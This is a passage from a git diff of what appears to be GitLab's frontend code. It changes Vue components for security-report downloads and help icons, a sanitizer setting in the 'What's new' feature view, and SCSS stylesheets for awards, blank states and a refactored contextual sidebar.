<gl-link v-else target="_blank" :href="helpPath" :aria-label="$options.i18n.securityReportsHelp">
- <gl-icon name="question" />
+ <gl-icon name="question-o" />
</gl-link>
</template>
diff --git a/app/assets/javascripts/vue_shared/security_reports/components/security_report_download_dropdown.vue b/app/assets/javascripts/vue_shared/security_reports/components/security_report_download_dropdown.vue
index d7c1e27ff3e..9e941087da2 100644
--- a/app/assets/javascripts/vue_shared/security_reports/components/security_report_download_dropdown.vue
+++ b/app/assets/javascripts/vue_shared/security_reports/components/security_report_download_dropdown.vue
@@ -1,5 +1,5 @@
<script>
-import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { GlDropdown, GlDropdownItem, GlTooltipDirective as GlTooltip } from '@gitlab/ui';
import { s__, sprintf } from '~/locale';
export default {
@@ -8,6 +8,9 @@ export default {
GlDropdown,
GlDropdownItem,
},
+ directives: {
+ GlTooltip,
+ },
props: {
artifacts: {
type: Array,
@@ -31,9 +34,11 @@ export default {
<template>
<gl-dropdown
- :text="s__('SecurityReports|Download results')"
+ v-gl-tooltip
+ :title="s__('SecurityReports|Download results')"
:loading="loading"
icon="download"
+ size="small"
right
>
<gl-dropdown-item
diff --git a/app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue b/app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue
index b7f283b8fd9..d7a3d4e611e 100644
--- a/app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue
+++ b/app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue
@@ -191,6 +191,7 @@ export default {
<security-summary :message="groupedSummaryText" />
<help-icon
+ class="gl-ml-3"
:help-path="securityReportsDocsPath"
:discover-project-security-path="discoverProjectSecurityPath"
/>
@@ -219,6 +220,7 @@ export default {
{{ $options.i18n.scansHaveRun }}
<help-icon
+ class="gl-ml-3"
:help-path="securityReportsDocsPath"
:discover-project-security-path="discoverProjectSecurityPath"
/>
diff --git a/app/assets/javascripts/whats_new/components/feature.vue b/app/assets/javascripts/whats_new/components/feature.vue
index 5444e77a4d2..11096b08032 100644
--- a/app/assets/javascripts/whats_new/components/feature.vue
+++ b/app/assets/javascripts/whats_new/components/feature.vue
@@ -30,6 +30,7 @@ export default {
return dateInWords(date);
},
},
+ safeHtmlConfig: { ADD_ATTR: ['target'] },
};
</script>
@@ -71,7 +72,10 @@ export default {
<gl-icon name="license" />{{ packageName }}
</gl-badge>
</div>
- <div v-safe-html="feature.body" class="gl-pt-3 gl-line-height-20"></div>
+ <div
+ v-safe-html:[$options.safeHtmlConfig]="feature.body"
+ class="gl-pt-3 gl-line-height-20"
+ ></div>
<gl-button
:href="feature.url"
target="_blank"
diff --git a/app/assets/stylesheets/components/rich_content_editor.scss b/app/assets/stylesheets/components/rich_content_editor.scss
index d97a9bc227d..59bd69955d3 100644
--- a/app/assets/stylesheets/components/rich_content_editor.scss
+++ b/app/assets/stylesheets/components/rich_content_editor.scss
@@ -47,7 +47,7 @@
/**
* Styling below ensures that YouTube videos are displayed in the editor the same as they would in about.gitlab.com
-* https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/source/stylesheets/_base.scss#L977
+* https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/main/source/stylesheets/_base.scss#L977
*/
.video_container {
padding-bottom: 56.25%;
diff --git a/app/assets/stylesheets/framework.scss b/app/assets/stylesheets/framework.scss
index cde5ad24fa5..2fbdaaaf467 100644
--- a/app/assets/stylesheets/framework.scss
+++ b/app/assets/stylesheets/framework.scss
@@ -38,7 +38,8 @@
@import 'framework/secondary_navigation_elements';
@import 'framework/selects';
@import 'framework/sidebar';
-@import 'framework/contextual_sidebar';
+@import 'framework/contextual_sidebar_header';
+@import 'framework/contextual_sidebar_refactoring/contextual_sidebar';
@import 'framework/tables';
@import 'framework/notes';
@import 'framework/tabs';
@@ -46,6 +47,7 @@
@import 'framework/toggle';
@import 'framework/typography';
@import 'framework/zen';
+@import 'framework/blank';
@import 'framework/wells';
@import 'framework/page_header';
@import 'framework/page_title';
diff --git a/app/assets/stylesheets/framework/awards.scss b/app/assets/stylesheets/framework/awards.scss
index 412a1e8d6c9..2c72c4b0f65 100644
--- a/app/assets/stylesheets/framework/awards.scss
+++ b/app/assets/stylesheets/framework/awards.scss
@@ -255,27 +255,9 @@
// This forces the height and width of the inner content to match
// other gl-buttons despite all child elements being set to
// `position:absolute`
- &::after {
- content: '\a0';
- display: block !important;
- width: 1em;
- color: transparent;
- }
-
- .reaction-control-icon {
- position: absolute;
- top: 0;
- left: 0;
- height: 100%;
- width: 100%;
-
- // center the icon vertically and horizontally within the button
- display: flex;
- align-items: center;
- justify-content: center;
- @include transition(opacity, transform);
+ .reaction-control-icon {
.gl-icon {
height: $default-icon-size;
width: $default-icon-size;
@@ -283,32 +265,26 @@
}
.reaction-control-icon-neutral {
- opacity: 1;
+ display: flex;
}
.reaction-control-icon-positive,
.reaction-control-icon-super-positive {
- opacity: 0;
+ display: none;
}
&:hover,
&.active,
&:active,
&.is-active {
- // extra specificty added to override another selector
- .reaction-control-icon .gl-icon {
- color: $blue-500;
- transform: scale(1.15);
- }
-
.reaction-control-icon-neutral {
- opacity: 0;
+ display: none;
}
}
&:hover {
.reaction-control-icon-positive {
- opacity: 1;
+ display: flex;
}
}
@@ -316,11 +292,11 @@
&:active,
&.is-active {
.reaction-control-icon-positive {
- opacity: 0;
+ display: none;
}
.reaction-control-icon-super-positive {
- opacity: 1;
+ display: flex;
}
}
@@ -336,17 +312,13 @@
}
.reaction-control-icon-neutral {
- opacity: 1;
+ display: flex;
}
.reaction-control-icon-positive,
.reaction-control-icon-super-positive {
- opacity: 0;
+ display: none;
}
}
}
}
-
-.awards .is-active {
- box-shadow: inset 0 0 0 1px $blue-200;
-}
diff --git a/app/assets/stylesheets/framework/blank.scss b/app/assets/stylesheets/framework/blank.scss
new file mode 100644
index 00000000000..7dd7ab339dd
--- /dev/null
+++ b/app/assets/stylesheets/framework/blank.scss
@@ -0,0 +1,118 @@
+.blank-state-parent-container {
+ .section-container {
+ padding: 10px;
+ }
+
+ .section-body {
+ width: 100%;
+ height: 100%;
+ padding-bottom: 25px;
+ border-radius: $border-radius-default;
+ }
+}
+
+.blank-state-row {
+ display: flex;
+ flex-wrap: wrap;
+ justify-content: space-between;
+}
+
+.blank-state-welcome {
+ text-align: center;
+ padding: $gl-padding 0 ($gl-padding * 2);
+
+ .blank-state-welcome-title {
+ font-size: 24px;
+ }
+
+ .blank-state-text {
+ margin-bottom: 0;
+ }
+}
+
+.blank-state-link {
+ color: $gl-text-color;
+ margin-bottom: 15px;
+
+ &:hover {
+ background-color: $gray-light;
+ text-decoration: none;
+ color: $gl-text-color;
+ }
+}
+
+.blank-state-center {
+ padding-top: 20px;
+ padding-bottom: 20px;
+ text-align: center;
+}
+
+.blank-state {
+ display: flex;
+ align-items: center;
+ padding: 20px 50px;
+ border: 1px solid $border-color;
+ border-radius: $border-radius-default;
+ min-height: 240px;
+ margin-bottom: $gl-padding;
+ width: calc(50% - #{$gl-padding-8});
+
+ @include media-breakpoint-down(sm) {
+ width: 100%;
+ flex-direction: column;
+ justify-content: center;
+ padding: 50px 20px;
+
+ .column-small & {
+ width: 100%;
+ }
+
+ }
+}
+
+.blank-state,
+.blank-state-center {
+ .blank-state-icon {
+ svg {
+ display: block;
+ margin: auto;
+ }
+ }
+
+ .blank-state-title {
+ margin-top: 0;
+ font-size: 18px;
+ }
+
+ .blank-state-body {
+ @include media-breakpoint-down(sm) {
+ text-align: center;
+ margin-top: 20px;
+ }
+
+ @include media-breakpoint-up(sm) {
+ padding-left: 20px;
+ }
+ }
+}
+
+@include media-breakpoint-up(lg) {
+ .column-large {
+ flex: 2;
+ }
+
+ .column-small {
+ flex: 1;
+ margin-bottom: 15px;
+
+ .blank-state {
+ max-width: 400px;
+ flex-wrap: wrap;
+ margin-left: 15px;
+ }
+
+ .blank-state-icon {
+ margin-bottom: 30px;
+ }
+ }
+}
diff --git a/app/assets/stylesheets/framework/blocks.scss b/app/assets/stylesheets/framework/blocks.scss
index bfa4a640fe2..10481294df5 100644
--- a/app/assets/stylesheets/framework/blocks.scss
+++ b/app/assets/stylesheets/framework/blocks.scss
@@ -72,7 +72,7 @@
}
&.content-component-block {
- padding: 11px 0;
+ padding: 8px 0;
background-color: $body-bg;
}
@@ -253,7 +253,7 @@
}
.content-block-small {
- padding: 10px 0;
+ padding: 4px 0;
}
.landing {
diff --git a/app/assets/stylesheets/framework/buttons.scss b/app/assets/stylesheets/framework/buttons.scss
index 603d28a8395..ceccec8c5cb 100644
--- a/app/assets/stylesheets/framework/buttons.scss
+++ b/app/assets/stylesheets/framework/buttons.scss
@@ -200,10 +200,6 @@
@include btn-red;
}
- &.btn-cancel {
- float: right;
- }
-
&.btn-grouped {
@include btn-with-margin;
}
diff --git a/app/assets/stylesheets/framework/calendar.scss b/app/assets/stylesheets/framework/calendar.scss
index 5b7f1a3f38b..1fa03d66f32 100644
--- a/app/assets/stylesheets/framework/calendar.scss
+++ b/app/assets/stylesheets/framework/calendar.scss
@@ -30,6 +30,16 @@
cursor: pointer;
stroke: $black;
}
+
+ // `app/assets/javascripts/pages/users/activity_calendar.js` sets this attribute
+ @for $i from 1 through length($calendar-activity-colors) {
+ $color: nth($calendar-activity-colors, $i);
+ $level: $i - 1;
+
+ &[data-level='#{$level}'] {
+ fill: $color;
+ }
+ }
}
.user-contrib-text {
diff --git a/app/assets/stylesheets/framework/contextual_sidebar.scss b/app/assets/stylesheets/framework/contextual_sidebar.scss
deleted file mode 100644
index 14d1a0663d0..00000000000
--- a/app/assets/stylesheets/framework/contextual_sidebar.scss
+++ /dev/null
@@ -1,453 +0,0 @@
-.page-with-contextual-sidebar {
- transition: padding-left $sidebar-transition-duration;
-
- @include media-breakpoint-up(md) {
- padding-left: $contextual-sidebar-collapsed-width;
- }
-
- @include media-breakpoint-up(xl) {
- padding-left: $contextual-sidebar-width;
- }
-
- .issues-bulk-update.right-sidebar.right-sidebar-expanded .issuable-sidebar-header {
- padding: 10px 0 15px;
- }
-}
-
-.page-with-icon-sidebar {
- @include media-breakpoint-up(md) {
- padding-left: $contextual-sidebar-collapsed-width;
- }
-}
-
-.context-header {
- position: relative;
- margin-right: 2px;
- width: $contextual-sidebar-width;
-
- > a,
- > button {
- transition: padding $sidebar-transition-duration;
- font-weight: $gl-font-weight-bold;
- display: flex;
- width: 100%;
- align-items: center;
- padding: 10px 16px 10px 10px;
- color: $gl-text-color;
- background-color: transparent;
- border: 0;
- text-align: left;
-
- &:hover,
- &:focus {
- background-color: $link-hover-background;
- color: $gl-text-color;
- outline: 0;
- }
- }
-
- .avatar-container {
- flex: 0 0 40px;
- background-color: $white;
- }
-
- .sidebar-context-title {
- overflow: hidden;
- text-overflow: ellipsis;
-
- &.text-secondary {
- font-weight: normal;
- font-size: 0.8em;
- }
- }
-}
-
-.settings-avatar {
- background-color: $white;
-
- svg {
- fill: $gl-text-color-secondary;
- margin: auto;
- }
-}
-
-@mixin collapse-contextual-sidebar-content {
- .context-header {
- height: 60px;
- width: $contextual-sidebar-collapsed-width;
-
- a {
- padding: 10px 4px;
- }
- }
-
- .sidebar-top-level-items > li {
- .sidebar-sub-level-items {
- &:not(.flyout-list) {
- display: none;
- }
- }
- }
-
- .nav-icon-container {
- margin-right: 0;
- }
-
- .toggle-sidebar-button {
- padding: 16px;
- width: $contextual-sidebar-collapsed-width - 1px;
-
- .collapse-text,
- .icon-chevron-double-lg-left {
- display: none;
- }
-
- .icon-chevron-double-lg-right {
- display: block;
- margin: 0;
- }
- }
-}
-
-.nav-sidebar {
- transition: width $sidebar-transition-duration, left $sidebar-transition-duration;
- position: fixed;
- z-index: 600;
- width: $contextual-sidebar-width;
- top: $header-height;
- bottom: 0;
- left: 0;
- background-color: $gray-light;
- box-shadow: inset -1px 0 0 $border-color;
- transform: translate3d(0, 0, 0);
-
- &:not(.sidebar-collapsed-desktop) {
- @media (min-width: map-get($grid-breakpoints, sm)) and (max-width: map-get($grid-breakpoints, sm)) {
- box-shadow: inset -1px 0 0 $border-color, 2px 1px 3px $dropdown-shadow-color;
- }
- }
-
- @mixin collapse-contextual-sidebar {
- width: $contextual-sidebar-collapsed-width;
-
- .nav-sidebar-inner-scroll {
- overflow-x: hidden;
- }
-
- .badge.badge-pill:not(.fly-out-badge),
- .sidebar-context-title,
- .nav-item-name {
- @include gl-sr-only;
- }
-
- .sidebar-top-level-items > li > a {
- min-height: 45px;
- }
-
- .fly-out-top-item {
- display: block;
- }
-
- .avatar-container {
- margin: 0 auto;
- }
- }
-
- &.sidebar-collapsed-desktop {
- @include collapse-contextual-sidebar;
- }
-
- &.sidebar-expanded-mobile {
- left: 0;
- }
-
- a {
- text-decoration: none;
- }
-
- ul {
- padding-left: 0;
- list-style: none;
- }
-
- li {
- white-space: nowrap;
-
- a {
- transition: padding $sidebar-transition-duration;
- display: flex;
- align-items: center;
- padding: 12px $gl-padding;
- color: $gl-text-color-secondary;
- }
-
- .nav-item-name {
- flex: 1;
- }
-
- &.active {
- > a {
- font-weight: $gl-font-weight-bold;
- }
- }
- }
-
- @include media-breakpoint-down(sm) {
- left: (-$contextual-sidebar-width);
- }
-
- .nav-icon-container {
- display: flex;
- margin-right: 8px;
- }
-
- .fly-out-top-item {
- display: none;
- }
-
- svg {
- height: 16px;
- width: 16px;
- }
-
- @media (min-width: map-get($grid-breakpoints, md)) and (max-width: map-get($grid-breakpoints, xl) - 1px) {
- &:not(.sidebar-expanded-mobile) {
- @include collapse-contextual-sidebar;
- @include collapse-contextual-sidebar-content;
- }
- }
-}
-
-.nav-sidebar-inner-scroll {
- height: 100%;
- width: 100%;
- overflow: auto;
-}
-
-.with-performance-bar .nav-sidebar {
- top: $header-height + $performance-bar-height;
-}
-
-.sidebar-sub-level-items {
- display: none;
- padding-bottom: 8px;
-
- > li {
- a {
- padding: 8px 16px 8px 40px;
-
- &:hover,
- &:focus {
- background: $link-active-background;
- color: $gl-text-color;
- }
- }
-
- &.active {
- a {
- &,
- &:hover,
- &:focus {
- background: $link-active-background;
- }
- }
- }
- }
-}
-
-.sidebar-top-level-items {
- margin-bottom: 60px;
-
- > li {
- > a {
- @include media-breakpoint-up(sm) {
- margin-right: 1px;
- }
-
- &:hover {
- color: $gl-text-color;
- }
- }
-
- &.is-showing-fly-out {
- > a {
- margin-right: 1px;
- }
-
- .sidebar-sub-level-items {
- @include media-breakpoint-up(sm) {
- position: fixed;
- top: 0;
- left: 0;
- min-width: 150px;
- margin-top: -1px;
- padding: 4px 1px;
- background-color: $white;
- box-shadow: 2px 1px 3px $dropdown-shadow-color;
- border: 1px solid $gray-darker;
- border-left: 0;
- border-radius: 0 3px 3px 0;
-
- &::before {
- content: '';
- position: absolute;
- top: -30px;
- bottom: -30px;
- left: -10px;
- right: -30px;
- z-index: -1;
- }
-
- &.is-above {
- margin-top: 1px;
- }
-
- .divider {
- height: 1px;
- margin: 4px -1px;
- padding: 0;
- background-color: $dropdown-divider-bg;
- }
-
- > .active {
- box-shadow: none;
-
- > a {
- background-color: transparent;
- }
- }
-
- a {
- padding: 8px 16px;
- color: $gl-text-color;
-
- &:hover,
- &:focus {
- background-color: $gray-darker;
- }
- }
- }
- }
- }
-
- .badge.badge-pill {
- background-color: $inactive-badge-background;
- color: $gl-text-color-secondary;
- }
-
- &.active {
- background: $link-active-background;
-
- > a {
- margin-left: 4px;
- // Subtract width of left border on active element
- padding-left: $gl-padding-12;
- }
-
- .badge.badge-pill {
- font-weight: $gl-font-weight-bold;
- }
-
- .sidebar-sub-level-items:not(.is-fly-out-only) {
- display: block;
- }
- }
-
- &.active > a:hover,
- &.is-over > a {
- background-color: $link-hover-background;
- }
- }
-}
-
-// Collapsed nav
-
-.toggle-sidebar-button,
-.close-nav-button,
-.toggle-right-sidebar-button {
- transition: width $sidebar-transition-duration;
- height: $toggle-sidebar-height;
- padding: 0 $gl-padding;
- background-color: $gray-light;
- border: 0;
- color: $gl-text-color-secondary;
- display: flex;
- align-items: center;
-
- &:hover {
- background-color: $border-color;
- color: $gl-text-color;
- }
-}
-
-.toggle-sidebar-button,
-.close-nav-button {
- position: fixed;
- bottom: 0;
- width: $contextual-sidebar-width - 1px;
- border-top: 1px solid $border-color;
-
- svg {
- margin-right: 8px;
- }
-
- .icon-chevron-double-lg-right {
- display: none;
- }
-}
-
-.toggle-right-sidebar-button {
- border-bottom: 1px solid $border-color;
-}
-
-.collapse-text {
- white-space: nowrap;
- overflow: hidden;
-}
-
-.sidebar-collapsed-desktop {
- @include collapse-contextual-sidebar-content;
-}
-
-.fly-out-top-item {
- > a {
- display: flex;
- }
-
- .fly-out-badge {
- margin-left: 8px;
- }
-}
-
-.fly-out-top-item-name {
- flex: 1;
-}
-
-// Mobile nav
-
-.close-nav-button {
- display: none;
-}
-
-@include media-breakpoint-down(sm) {
- .close-nav-button {
- display: flex;
- }
-
- .toggle-sidebar-button {
- display: none;
- }
-
- .mobile-overlay {
- display: none;
-
- &.mobile-nav-open {
- display: block;
- position: fixed;
- background-color: $black-transparent;
- height: 100%;
- width: 100%;
- z-index: $zindex-dropdown-menu;
- }
- }
-}
diff --git a/app/assets/stylesheets/framework/contextual_sidebar_header.scss b/app/assets/stylesheets/framework/contextual_sidebar_header.scss
new file mode 100644
index 00000000000..fdd03f4cdc8
--- /dev/null
+++ b/app/assets/stylesheets/framework/contextual_sidebar_header.scss
@@ -0,0 +1,57 @@
+.context-header {
+ position: relative;
+ margin-right: 2px;
+ width: $contextual-sidebar-width;
+
+ > a,
+ > button {
+ transition: padding $sidebar-transition-duration;
+ font-weight: $gl-font-weight-bold;
+ display: flex;
+ width: 100%;
+ align-items: center;
+ padding: 10px 16px 10px 10px;
+ color: $gl-text-color;
+ background-color: transparent;
+ border: 0;
+ text-align: left;
+
+ &:hover,
+ &:focus {
+ background-color: $link-hover-background;
+ color: $gl-text-color;
+ outline: 0;
+ }
+ }
+
+ .avatar-container {
+ flex: 0 0 40px;
+ background-color: $white;
+ }
+
+ .sidebar-context-title {
+ overflow: hidden;
+ text-overflow: ellipsis;
+
+ &.text-secondary {
+ font-weight: normal;
+ font-size: 0.8em;
+ }
+ }
+}
+
+@mixin context-header-collapsed {
+ .context-header {
+ height: 60px;
+ width: $contextual-sidebar-collapsed-width;
+
+ a {
+ padding: 10px 4px;
+ }
+ }
+
+ .sidebar-context-title {
+ @include gl-sr-only;
+ }
+}
+
diff --git a/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar.scss b/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar.scss
new file mode 100644
index 00000000000..905ac260203
--- /dev/null
+++ b/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar.scss
@@ -0,0 +1,7 @@
+body:not(.sidebar-refactoring) {
+ @import 'contextual_sidebar_base';
+}
+
+body.sidebar-refactoring {
+ @import 'contextual_sidebar_variant';
+}
diff --git a/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar_base.scss b/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar_base.scss
new file mode 100644
index 00000000000..306a9b74ebd
--- /dev/null
+++ b/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar_base.scss
@@ -0,0 +1,386 @@
+@mixin collapse-contextual-sidebar-content {
+
+ @include context-header-collapsed;
+
+ .sidebar-top-level-items > li {
+ .sidebar-sub-level-items {
+ &:not(.flyout-list) {
+ display: none;
+ }
+ }
+ }
+
+ .nav-icon-container {
+ margin-right: 0;
+ }
+
+ .toggle-sidebar-button {
+ padding: 16px;
+ width: $contextual-sidebar-collapsed-width - 1px;
+
+ .collapse-text,
+ .icon-chevron-double-lg-left {
+ display: none;
+ }
+
+ .icon-chevron-double-lg-right {
+ display: block;
+ margin: 0;
+ }
+ }
+}
+
+@mixin collapse-contextual-sidebar {
+ width: $contextual-sidebar-collapsed-width;
+
+ .nav-sidebar-inner-scroll {
+ overflow-x: hidden;
+ }
+
+ .badge.badge-pill:not(.fly-out-badge),
+ .nav-item-name {
+ @include gl-sr-only;
+ }
+
+ .sidebar-top-level-items > li > a {
+ min-height: 45px;
+ }
+
+ .fly-out-top-item {
+ display: block;
+ }
+
+ .avatar-container {
+ margin: 0 auto;
+ }
+}
+
+@at-root {
+ .page-with-contextual-sidebar {
+ transition: padding-left $sidebar-transition-duration;
+
+ @include media-breakpoint-up(md) {
+ padding-left: $contextual-sidebar-collapsed-width;
+ }
+
+ @include media-breakpoint-up(xl) {
+ padding-left: $contextual-sidebar-width;
+ }
+
+ .issues-bulk-update.right-sidebar.right-sidebar-expanded .issuable-sidebar-header {
+ padding: 10px 0 15px;
+ }
+ }
+
+ .page-with-icon-sidebar {
+ @include media-breakpoint-up(md) {
+ padding-left: $contextual-sidebar-collapsed-width;
+ }
+ }
+
+ .settings-avatar {
+ background-color: $white;
+
+ svg {
+ fill: $gl-text-color-secondary;
+ margin: auto;
+ }
+ }
+
+ .nav-sidebar {
+ transition: width $sidebar-transition-duration, left $sidebar-transition-duration;
+ position: fixed;
+ z-index: 600;
+ width: $contextual-sidebar-width;
+ top: $header-height;
+ bottom: 0;
+ left: 0;
+ background-color: $gray-light;
+ box-shadow: inset -1px 0 0 $border-color;
+ transform: translate3d(0, 0, 0);
+
+ &:not(.sidebar-collapsed-desktop) {
+ @media (min-width: map-get($grid-breakpoints, sm)) and (max-width: map-get($grid-breakpoints, sm)) {
+ box-shadow: inset -1px 0 0 $border-color, 2px 1px 3px $dropdown-shadow-color;
+ }
+ }
+
+ &.sidebar-collapsed-desktop {
+ @include collapse-contextual-sidebar;
+ }
+
+ &.sidebar-expanded-mobile {
+ left: 0;
+ }
+
+ a {
+ text-decoration: none;
+ }
+
+ ul {
+ padding-left: 0;
+ list-style: none;
+ }
+
+ li {
+ white-space: nowrap;
+
+ a {
+ transition: padding $sidebar-transition-duration;
+ display: flex;
+ align-items: center;
+ padding: 12px $gl-padding;
+ color: $gl-text-color-secondary;
+ }
+
+ .nav-item-name {
+ flex: 1;
+ }
+
+ &.active {
+ > a {
+ font-weight: $gl-font-weight-bold;
+ }
+ }
+ }
+
+ @include media-breakpoint-down(sm) {
+ left: (-$contextual-sidebar-width);
+ }
+
+ .nav-icon-container {
+ display: flex;
+ margin-right: 8px;
+ }
+
+ .fly-out-top-item {
+ display: none;
+ }
+
+ svg {
+ height: 16px;
+ width: 16px;
+ }
+
+ @media (min-width: map-get($grid-breakpoints, md)) and (max-width: map-get($grid-breakpoints, xl) - 1px) {
+ &:not(.sidebar-expanded-mobile) {
+ @include collapse-contextual-sidebar;
+ @include collapse-contextual-sidebar-content;
+ }
+ }
+ }
+
+ .nav-sidebar-inner-scroll {
+ height: 100%;
+ width: 100%;
+ overflow: auto;
+ }
+
+ .sidebar-sub-level-items {
+ display: none;
+ padding-bottom: 8px;
+
+ > li {
+ a {
+ padding: 8px 16px 8px 40px;
+
+ &:hover,
+ &:focus {
+ background: $link-active-background;
+ color: $gl-text-color;
+ }
+ }
+
+ &.active {
+ a {
+ &,
+ &:hover,
+ &:focus {
+ background: $link-active-background;
+ }
+ }
+ }
+ }
+ }
+
+ .sidebar-top-level-items {
+ margin-bottom: 60px;
+
+ > li {
+ > a {
+ @include media-breakpoint-up(sm) {
+ margin-right: 1px;
+ }
+
+ &:hover {
+ color: $gl-text-color;
+ }
+ }
+
+ &.is-showing-fly-out {
+ > a {
+ margin-right: 1px;
+ }
+
+ .sidebar-sub-level-items {
+ @include media-breakpoint-up(sm) {
+ position: fixed;
+ top: 0;
+ left: 0;
+ min-width: 150px;
+ margin-top: -1px;
+ padding: 4px 1px;
+ background-color: $white;
+ box-shadow: 2px 1px 3px $dropdown-shadow-color;
+ border: 1px solid $gray-darker;
+ border-left: 0;
+ border-radius: 0 3px 3px 0;
+
+ &::before {
+ content: '';
+ position: absolute;
+ top: -30px;
+ bottom: -30px;
+ left: -10px;
+ right: -30px;
+ z-index: -1;
+ }
+
+ &.is-above {
+ margin-top: 1px;
+ }
+
+ .divider {
+ height: 1px;
+ margin: 4px -1px;
+ padding: 0;
+ background-color: $dropdown-divider-bg;
+ }
+
+ > .active {
+ box-shadow: none;
+
+ > a {
+ background-color: transparent;
+ }
+ }
+
+ a {
+ padding: 8px 16px;
+ color: $gl-text-color;
+
+ &:hover,
+ &:focus {
+ background-color: $gray-darker;
+ }
+ }
+ }
+ }
+ }
+
+ .badge.badge-pill {
+ background-color: $inactive-badge-background;
+ color: $gl-text-color-secondary;
+ }
+
+ &.active {
+ background: $link-active-background;
+
+ > a {
+ margin-left: 4px;
+ // Subtract width of left border on active element
+ padding-left: $gl-padding-12;
+ }
+
+ .badge.badge-pill {
+ font-weight: $gl-font-weight-bold;
+ }
+
+ .sidebar-sub-level-items:not(.is-fly-out-only) {
+ display: block;
+ }
+ }
+
+ &.active > a:hover,
+ &.is-over > a {
+ background-color: $link-hover-background;
+ }
+ }
+ }
+
+ // Collapsed nav
+
+ .toggle-sidebar-button,
+ .close-nav-button {
+ @include side-panel-toggle;
+ }
+
+ .toggle-sidebar-button,
+ .close-nav-button {
+ position: fixed;
+ bottom: 0;
+ width: $contextual-sidebar-width - 1px;
+ border-top: 1px solid $border-color;
+
+ svg {
+ margin-right: 8px;
+ }
+
+ .icon-chevron-double-lg-right {
+ display: none;
+ }
+ }
+
+ .collapse-text {
+ white-space: nowrap;
+ overflow: hidden;
+ }
+
+ .sidebar-collapsed-desktop {
+ @include collapse-contextual-sidebar-content;
+ }
+
+ .fly-out-top-item {
+ > a {
+ display: flex;
+ }
+
+ .fly-out-badge {
+ margin-left: 8px;
+ }
+ }
+
+ .fly-out-top-item-name {
+ flex: 1;
+ }
+
+ // Mobile nav
+
+ .close-nav-button {
+ display: none;
+ }
+
+ @include media-breakpoint-down(sm) {
+ .close-nav-button {
+ display: flex;
+ }
+
+ .toggle-sidebar-button {
+ display: none;
+ }
+
+ .mobile-overlay {
+ display: none;
+
+ &.mobile-nav-open {
+ display: block;
+ position: fixed;
+ background-color: $black-transparent;
+ height: 100%;
+ width: 100%;
+ z-index: $zindex-dropdown-menu;
+ }
+ }
+ }
+}
+
diff --git a/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar_variant.scss b/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar_variant.scss
new file mode 100644
index 00000000000..154b8c31e8b
--- /dev/null
+++ b/app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar_variant.scss
@@ -0,0 +1,514 @@
+//
+// VARIABLES
+//
+
+$top-level-item-color: $purple-900;
+
+//
+// TEMPORARY OVERRIDES
+// Needed while we serve both *_base and *_variant stylesheets
+// TODO: These have to be removed during the ':sidebar_refactor' flag rollout
+//
+&.gl-dark .nav-sidebar li.active {
+ box-shadow: none;
+}
+
+&.gl-dark .nav-sidebar li a,
+&.gl-dark .toggle-sidebar-button .collapse-text,
+&.gl-dark .toggle-sidebar-button .icon-chevron-double-lg-left,
+&.gl-dark .toggle-sidebar-button .icon-chevron-double-lg-right,
+&.gl-dark .sidebar-top-level-items .context-header a .sidebar-context-title,
+&.gl-dark .nav-sidebar-inner-scroll > div.context-header a .sidebar-context-title {
+ color: $gray-darkest;
+}
+
+&.ui-indigo .nav-sidebar li.active:not(.fly-out-top-item) > a {
+ color: $top-level-item-color;
+}
+
+&.ui-indigo .nav-sidebar li.active .nav-icon-container svg {
+ fill: $top-level-item-color;
+}
+
+.nav-sidebar {
+ box-shadow: none;
+
+ li.active {
+ background-color: transparent;
+ box-shadow: none !important; // TODO: This should be updated in `theme_helper.scss` together with ':sidebar_refactor' rollout
+ }
+}
+
+//
+// MIXINS
+//
+
+@mixin collapse-contextual-sidebar-content {
+
+ @include context-header-collapsed;
+
+ .context-header {
+ @include gl-h-auto;
+
+ a {
+ @include gl-p-2;
+ }
+ }
+
+ .sidebar-top-level-items > li {
+ .sidebar-sub-level-items {
+ &:not(.flyout-list) {
+ display: none;
+ }
+ }
+ }
+
+ .nav-icon-container {
+ margin-right: 0;
+ }
+
+ .toggle-sidebar-button {
+ width: $contextual-sidebar-collapsed-width;
+
+ .collapse-text {
+ display: none;
+ }
+
+ .icon-chevron-double-lg-left {
+ @include gl-rotate-180;
+ @include gl-display-block; // TODO: shouldn't be needed after the flag roll out
+ @include gl-m-0;
+ }
+ }
+}
+
+@mixin collapse-contextual-sidebar {
+ width: $contextual-sidebar-collapsed-width;
+
+ .nav-sidebar-inner-scroll {
+ overflow-x: hidden;
+ }
+
+ .badge.badge-pill:not(.fly-out-badge),
+ .nav-item-name,
+ .collapse-text {
+ @include gl-sr-only;
+ }
+
+ .sidebar-top-level-items > li > a {
+ min-height: unset;
+ }
+
+ .fly-out-top-item:not(.divider) {
+ display: block !important;
+ }
+
+ .avatar-container {
+ margin: 0 auto;
+ }
+
+ li.active:not(.fly-out-top-item) > a {
+ background-color: $indigo-900-alpha-008;
+ }
+}
+
+@mixin sub-level-items-flyout {
+ .sidebar-sub-level-items {
+ @include media-breakpoint-up(sm) {
+ @include gl-fixed;
+ @include gl-top-0;
+ @include gl-left-0;
+ @include gl-ml-3;
+ @include gl-mt-0;
+ @include gl-px-0;
+ @include gl-pb-2;
+ @include gl-pt-0;
+ min-width: 150px;
+ background-color: $gray-10;
+ box-shadow: 0 $gl-spacing-scale-2 $gl-spacing-scale-5 $t-gray-a-24, 0 0 $gl-spacing-scale-1 $t-gray-a-24;
+ border-style: none;
+ border-radius: $border-radius-default;
+
+ .divider {
+ @include gl-display-none;
+ }
+
+ .divider + li > a {
+ @include gl-mt-2;
+ }
+
+ li:last-of-type a {
+ @include gl-mb-0;
+ }
+
+ &.is-above {
+ @include gl-mt-0;
+ }
+ }
